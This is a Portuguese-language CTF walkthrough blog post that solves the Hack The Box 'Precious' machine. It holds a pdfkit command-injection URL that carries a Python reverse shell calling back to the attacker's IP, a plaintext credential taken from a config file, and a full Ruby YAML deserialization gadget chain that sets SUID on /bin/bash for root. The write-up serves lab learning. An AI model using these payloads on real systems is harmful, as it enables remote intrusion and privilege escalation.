Hack The Box – Precious – CTF

Fala rapaziada.

Hoje vou trazer a resolução da máquina Precious do HTB.

Reconhecimento

Comecei rodando o nmap para verificar as portas abertas. Encontrei as portas 22 (ssh) e 80 (web – nginx)

nmap -sSV -Pn -p- 10.10.11.189 --min-rate=1000

Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-01 09:08 EST
Nmap scan report for 10.10.11.189
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.25 seconds

Ao tentar acessar o site na porta 80 através do navegador, fui redirecionado para o dns precious.htb.

O site retornou erro pois não está conseguindo resolver o DNS, então tive que adicionar o apontamento do DNS no arquivo /etc/hosts em minha máquina local.

Após adicionar o apontamento, consegui acessar o site.

echo "10.10.11.189 precious.htb" >> /etc/hosts

Rodei o Gobuster para verificar se existiam outros diretórios, porém não encontrei nada.

gobuster dir -u http://precious.htb/ -w /usr/share/wordlists/dirb/big.txt -o diretorios.txt 

===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://precious.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/02/01 09:15:22 Starting gobuster in directory enumeration mode
===============================================================
Progress: 20469 / 20470 (100.00%)
===============================================================
2023/02/01 09:21:52 Finished
===============================================================

Como não encontrei nada, a vulnerabilidade provavelmente estará na página principal, então vamos tentar entende-lá.

A página aparenta ser um conversor de páginas web para pdf.

Primeiramente tentei submeter a palavra teste, mas a página retorna um erro de url invalida.

Bem, como o campo só aceita urls, criei um arquivo teste.txt em minha máquina local, e abri um web server local, para ver como o site irá reagir.

vim teste.txt
python3 -m http.server 80

Ao submeter a url apontando pro arquivo no meu host local, o site gerou o pdf.

Agora que entendi como o site funciona, preciso encontrar alguma vulnerabilidade nesse processo.

Após algumas análises no burp, não encontrei nada demais. Então vou baixei o pdf para análise.

A ferramenta exiftool, trás detalhes sobre o arquivo, entre eles, como o arquivo foi criado. Então nos detalhes vi que o arquivo está sendo criado pelo software pdfkit v0.8.6.

exiftool hw6vcl561iddbz9kykpxf15cnqr32ffp.pdf 

Ao pesquisar um pouco sobre o software, encontrei uma vulnerabilidade de command injection para a versão recorrente.

Exploração

Após alguns testes, consegui executar o comando “id” pelo parâmetro name.

http://10.10.14.3/?name=%20`id`

Agora conseguindo executar comandos, preciso achar uma maneira de ganhar um shell no servidor.

Com o comando whereis verifiquei se o servidor tinha python3 instalado

http://10.10.14.3/?name=%20`whereis python3`

Após confirmar que o servidor tem python3 instalado, usei ele para o reverse shell. Costumo utilizar o site revshells, pois ele já contém diversos shells reversos pré-prontos.

Primeiro abri a porta 443 localmente na minha máquina

nc -vnlp 443     
                                 
listening on [any] 443 ...

Após isso, submeti o comando para executar o envio do shell para minha máquina.

http://10.10.14.3/?name=%20`export RHOST="10.10.14.3";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'`

E assim consegui uma shell no servidor com o usuário ruby.

nc -vnlp 443                                      
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.189] 57578
$ id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
$ whoami
ruby

Achei a flag dentro de /home/henry, porém o único usuário que tem permissões de leitura na flag é o próprio henry (ou o root). Normalmente, quando isso ocorre nos CTFs, é um indício que precisarei de alguma forma conseguir logar no usuário que tem a permissão.

 ruby@precious:/$ ls -la /home/henry

No diretório /home/ruby encontro algumas pastas ocultas, e em uma delas um arquivo de config que contém as credencias do henry

Usuário: henry
Password: Q3c1AqGHtoI0aXAYFH

ls -la /home/ruby 
cat /home/ruby/.bundle/config

Com as credenciais do usuário henry, agora consigo acessar o servidor via SSH, que como vimos está com a porta aberta.

Assim consigo a primeira flag.

ssh henry@10.10.11.189 
    
The authenticity of host '10.10.11.189 (10.10.11.189)' can't be established.
ED25519 key fingerprint is SHA256:1WpIxI8qwKmYSRdGtCjweUByFzcn0MSpKgv+AwWRLkU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.189' (ED25519) to the list of known hosts.
henry@10.10.11.189's password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

henry@precious:~$ cat /home/henry/user.txt
ac569ed58fbXXXXXXXXXXXX

Escalação de Privilégio

Agora preciso escalar os privilégios para obter acesso ao diretório root.

A primeira coisa que verifico é quais permissões sudo meu usuário tem. Ao rodar o comando sudo -l vejo que temos permissões para rodar o script update_dependencies.rb como root.

henry@precious:/opt$ sudo -l
sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Ao abrir o script, não encontro nada demais, mas após alguma pesquisa, vejo que o parâmetro YAML.load pode ser vulnerável a Blind Remote Code Execution.

cat update_dependencies.rb

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end

O exploit consiste em criar o arquivo dependencies.yml, e no parâmetro git_set inserir o comando a ser executado.

Criei o arquivo dentro do diretório henry, e testei o comando id.

vi /home/henry/dependencies.yml

--- 
- !ruby/object:Gem::Installer 
    i: x 
- !ruby/object:Gem::SpecFetcher 
    i: y 
- !ruby/object:Gem::Requirement 
  requirements: 
    !ruby/object:Gem::Package::TarReader 
    io: &1 !ruby/object:Net::BufferedIO 
      io: &1 !ruby/object:Gem::Package::TarReader::Entry 
         read: 0 
         header: "abc" 
      debug_output: &1 !ruby/object:Net::WriteAdapter 
         socket: &1 !ruby/object:Gem::RequestSet 
             sets: !ruby/object:Net::WriteAdapter 
                 socket: !ruby/module 'Kernel' 
                 method_id: :system 
             git_set: "id"
" 
         method_id: :resolve

Após criação do arquivo, rodei o script como sudo.

Apesar dos erros, o comando foi executado com sucesso.

sudo ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

Com isso agora posso executar comandos com a permissões de root.

Editei o o arquivo dependencies.yml para adicionar a permissão SUID no /bin/bash e conseguir executar o bash como root.

vi /home/henry/dependencies.yml 
--- 
- !ruby/object:Gem::Installer 
    i: x 
- !ruby/object:Gem::SpecFetcher 
    i: y 
- !ruby/object:Gem::Requirement 
  requirements: 
    !ruby/object:Gem::Package::TarReader 
    io: &1 !ruby/object:Net::BufferedIO 
      io: &1 !ruby/object:Gem::Package::TarReader::Entry 
         read: 0 
         header: "abc" 
      debug_output: &1 !ruby/object:Net::WriteAdapter 
         socket: &1 !ruby/object:Gem::RequestSet 
             sets: !ruby/object:Net::WriteAdapter 
                 socket: !ruby/module 'Kernel' 
                 method_id: :system 
             git_set: "chmod +s /bin/bash" 
" 
         method_id: :resolve
sudo ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
Traceback (most recent call last):
        33: from /opt/update_dependencies.rb:17:in `<main>'
        32: from /opt/update_dependencies.rb:10:in `list_from_file'
        31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
        30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
        29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
        25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
        21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
        20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
        19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
        18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
        17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
        16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
        15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
        14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
        13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
        12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
        11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
        10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
         9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
         8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
         7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
         6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
         5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
         3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
         2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
         1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)

Agora o bash tem permissão de SUID.

Assim ganhei acesso ao shell como root, e consegui a última flag root.txt.

henry@precious:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
henry@precious:~$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
07525a2455cfbXXXXXXXXXXX
Sobre Vitor Prado 37 Artigos
Nascido e criado nas periferias de Diadema-SP, encontrei no estudo e no conhecimento uma forma alternativa de enfrentar os desafios da vida, apesar das muitas barreiras colocadas no caminho.

Seja o primeiro a comentar

Faça um comentário

Seu e-mail não será divulgado.


*